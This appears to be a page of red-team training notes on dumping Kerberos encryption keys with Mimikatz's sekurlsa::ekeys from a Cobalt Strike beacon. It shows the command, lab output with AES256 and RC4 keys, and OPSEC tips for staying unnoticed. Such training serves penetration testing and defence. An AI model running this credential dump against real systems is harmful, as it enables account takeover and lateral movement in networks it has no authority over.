> For the complete documentation index, see [llms.txt](https://yamortsa.gitbook.io/rto/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yamortsa.gitbook.io/rto/credential-theft/kerberos-encryption-keys.md).

# Kerberos Encryption Keys

The `sekurlsa::ekeys` Mimikatz module will dump the Kerberos encryption keys of currently logged on users. Since most modern Windows services choose to use Kerberos over NTLM, leveraging these instead of NTLM hashes makes more sense for blending into normal authentication traffic.

These keys can be used in a variety of Kerberos abuse scenarios.

This command requires elevated privileges.

\\

```
beacon> mimikatz !sekurlsa::ekeys

Authentication Id : 0 ; 459935 (00000000:0007049f)
Session           : Batch from 0
User Name         : jking
Domain            : DEV
Logon Server      : DC-2
Logon Time        : 9/1/2022 7:29:19 AM
SID               : S-1-5-21-569305411-121244042-2357301523-1105

	 * Username : jking
	 * Domain   : DEV.CYBERBOTIC.IO
	 * Password : (null)
	 * Key List :
	   aes256_hmac       4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6
	   rc4_hmac_nt       59fc0f884922b4ce376051134c71e22c
	   rc4_hmac_old      59fc0f884922b4ce376051134c71e22c
	   rc4_md4           59fc0f884922b4ce376051134c71e22c
	   rc4_hmac_nt_exp   59fc0f884922b4ce376051134c71e22c
	   rc4_hmac_old_exp  59fc0f884922b4ce376051134c71e22c
```

\\

There is a [known issue](https://github.com/gentilkiwi/mimikatz/issues/314) where Mimikatz may incorrectly label all of the hashes as `des_cbc_md4`.

\\

In this case, the AES256 key is the one we want. These hashes are not automatically populated into the Credential data model, but they can be added manually via *View > Credentials > Add*.

\\

**OPSEC**\
\
This module also opens a read handle to LSASS.